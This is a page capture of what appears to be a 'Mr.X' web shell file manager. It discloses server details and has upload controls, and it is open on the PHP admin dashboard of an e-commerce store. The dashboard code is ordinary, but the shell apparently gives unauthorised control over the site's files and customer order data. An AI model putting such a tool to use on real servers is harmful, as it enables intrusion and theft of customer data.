🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:index.php
<?php $page = 'dashboard'; $page_title = 'Dashboard'; require_once 'includes/header.php'; $stats = get_dashboard_stats(); $recent_orders = get_recent_orders(5); $monthly_sales = get_monthly_sales(); $low_stock = $db->query("SELECT * FROM products WHERE stock_quantity < 10 AND status = 1 ORDER BY stock_quantity ASC LIMIT 5")->fetchAll(); ?> <!-- Welcome Banner --> <div class="welcome-banner" style="background: var(--gradient-rose); color: white; border-radius: 16px; padding: 30px; margin-bottom: 30px; position: relative; overflow: hidden;"> <div style="position: absolute; top: -50px; right: -50px; width: 200px; height: 200px; background: rgba(255,255,255,0.1); border-radius: 50%;"></div> <h2 style="color: white; margin-bottom: 5px;">Welcome back, <?= htmlspecialchars($admin['username']) ?>! 👋</h2> <p style="opacity: 0.9; margin: 0;">Here's what's happening with your store today.</p> </div> <!-- Stats Grid --> <div class="stat-grid"> <div class="stat-card"> <div class="stat-icon"> <i class="fas fa-rupee-sign"></i> </div> <div class="stat-value"><?= format_currency($stats['total_revenue']) ?></div> <div class="stat-label">Total Revenue</div> <div class="stat-change"> <i class="fas fa-arrow-up"></i> 12.5% from last month </div> </div> <div class="stat-card"> <div class="stat-icon green"> <i class="fas fa-shopping-cart"></i> </div> <div class="stat-value"><?= $stats['total_orders'] ?></div> <div class="stat-label">Total Orders</div> <div class="stat-change"> <i class="fas fa-arrow-up"></i> <?= $stats['pending_orders'] ?> pending </div> </div> <div class="stat-card"> <div class="stat-icon blue"> <i class="fas fa-box"></i> </div> <div class="stat-value"><?= $stats['total_products'] ?></div> <div class="stat-label">Total Products</div> <div class="stat-change"> <i class="fas fa-box"></i> <?= $stats['total_categories'] ?> categories </div> </div> <div class="stat-card"> <div class="stat-icon orange"> <i class="fas fa-users"></i> </div> <div class="stat-value"><?= $stats['total_users'] ?></div> <div class="stat-label">Total Customers</div> <div class="stat-change"> <i class="fas fa-user-plus"></i> Active members </div> </div> <div class="stat-card"> <div class="stat-icon purple"> <i class="fas fa-star"></i> </div> <div class="stat-value"><?= $stats['total_reviews'] ?></div> <div class="stat-label">Reviews</div> <div class="stat-change"> <i class="fas fa-comment"></i> Customer feedback </div> </div> <div class="stat-card"> <div class="stat-icon cyan"> <i class="fas fa-award"></i> </div> <div class="stat-value"><?= $stats['total_brands'] ?></div> <div class="stat-label">Total Brands</div> <div class="stat-change"> <i class="fas fa-tag"></i> Active brands </div> </div> </div> <div class="row g-4"> <!-- Recent Orders --> <div class="col-lg-8"> <div class="admin-card"> <div class="admin-card-header"> <h3 class="admin-card-title">Recent Orders</h3> <a href="<?= ADMIN_PATH ?>pages/orders.php" class="btn-admin btn-outline-admin">View All</a> </div> <?php if (count($recent_orders) > 0): ?> <div class="table-responsive"> <table class="admin-table"> <thead> <tr> <th>Order #</th> <th>Customer</th> <th>Amount</th> <th>Status</th> <th>Date</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($recent_orders as $order): $status_class = 'status-' . $order['order_status']; ?> <tr> <td><strong><?= htmlspecialchars($order['order_number']) ?></strong></td> <td> <div><?= htmlspecialchars($order['first_name'] . ' ' . $order['last_name']) ?></div> <small class="text-muted"><?= htmlspecialchars($order['email']) ?></small> </td> <td><strong><?= format_currency($order['total']) ?></strong></td> <td><span class="status-badge <?= $status_class ?>"><?= ucfirst($order['order_status']) ?></span></td> <td><?= date('M d, Y', strtotime($order['created_at'])) ?></td> <td> <a href="<?= ADMIN_PATH ?>pages/order-details.php?id=<?= $order['id'] ?>" class="btn-icon btn-admin btn-primary-admin" data-bs-toggle="tooltip" title="View"> <i class="fas fa-eye"></i> </a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php else: ?> <div class="empty-state"> <i class="fas fa-shopping-cart"></i> <h4>No orders yet</h4> <p class="text-muted">Orders will appear here once customers start purchasing</p> </div> <?php endif; ?> </div> </div> <!-- Quick Actions & Low Stock --> <div class="col-lg-4"> <div class="admin-card"> <div class="admin-card-header"> <h3 class="admin-card-title">Quick Actions</h3> </div> <div class="quick-actions"> <a href="<?= ADMIN_PATH ?>pages/product-add.php" class="quick-action"> <i class="fas fa-plus-circle"></i> <span>Add Product</span> </a> <a href="<?= ADMIN_PATH ?>pages/category-add.php" class="quick-action"> <i class="fas fa-folder-plus"></i> <span>Add Category</span> </a> <a href="<?= ADMIN_PATH ?>pages/banner-add.php" class="quick-action"> <i class="fas fa-image"></i> <span>Add Banner</span> </a> <a href="<?= ADMIN_PATH ?>pages/coupon-add.php" class="quick-action"> <i class="fas fa-tag"></i> <span>Add Coupon</span> </a> <a href="<?= ADMIN_PATH ?>pages/orders.php" class="quick-action"> <i class="fas fa-truck"></i> <span>Manage Orders</span> </a> <a href="<?= ADMIN_PATH ?>pages/settings.php" class="quick-action"> <i class="fas fa-cog"></i> <span>Settings</span> </a> </div> </div> <!-- Low Stock Alert --> <div class="admin-card"> <div class="admin-card-header"> <h3 class="admin-card-title">Low Stock Alert</h3> </div> <?php if (count($low_stock) > 0): ?> <?php foreach ($low_stock as $product): ?> <div style="display: flex; align-items: center; gap: 10px; padding: 10px 0; border-bottom: 1px solid #f0f0f0;"> <img src="<?= $product['thumbnail'] ? UPLOADS_URL . 'products/' . $product['thumbnail'] : ASSETS_PATH . 'images/no-image.jpg' ?>" style="width: 40px; height: 40px; border-radius: 6px; object-fit: cover;"> <div style="flex: 1; min-width: 0;"> <div style="font-size: 0.85rem; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"><?= htmlspecialchars($product['name']) ?></div> <small class="text-muted">SKU: <?= $product['sku'] ?></small> </div> <span class="badge" style="background: #fff3cd; color: #856404; padding: 3px 8px; border-radius: 10px; font-size: 0.7rem;"><?= $product['stock_quantity'] ?> left</span> </div> <?php endforeach; ?> <?php else: ?> <p class="text-muted text-center" style="margin: 20px 0;">All products are well stocked!</p> <?php endif; ?> </div> </div> </div> <!-- Sales Chart --> <div class="admin-card mt-4"> <div class="admin-card-header"> <h3 class="admin-card-title">Monthly Sales (<?= date('Y') ?>)</h3> </div> <div style="display: flex; align-items: flex-end; gap: 10px; height: 200px; padding: 20px 0;"> <?php $months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; $max_revenue = max(array_column($monthly_sales, 'revenue')) ?: 1; for ($m = 1; $m <= 12; $m++): $revenue = 0; foreach ($monthly_sales as $ms) { if ($ms['month'] == $m) $revenue = $ms['revenue']; } $height = ($revenue / $max_revenue) * 150; ?> <div style="flex: 1; text-align: center; position: relative;"> <div title="<?= format_currency($revenue) ?>" style="background: var(--gradient-rose); height: <?= $height ?>px; border-radius: 6px 6px 0 0; min-height: 5px; transition: all 0.3s ease; margin: 0 auto; max-width: 50px;" onmouseover="this.style.opacity='0.8'" onmouseout="this.style.opacity='1'"></div> <small style="color: #6c757d; font-size: 0.75rem; display: block; margin-top: 8px;"><?= $months[$m-1] ?></small> </div> <?php endfor; ?> </div> </div> <?php require_once 'includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder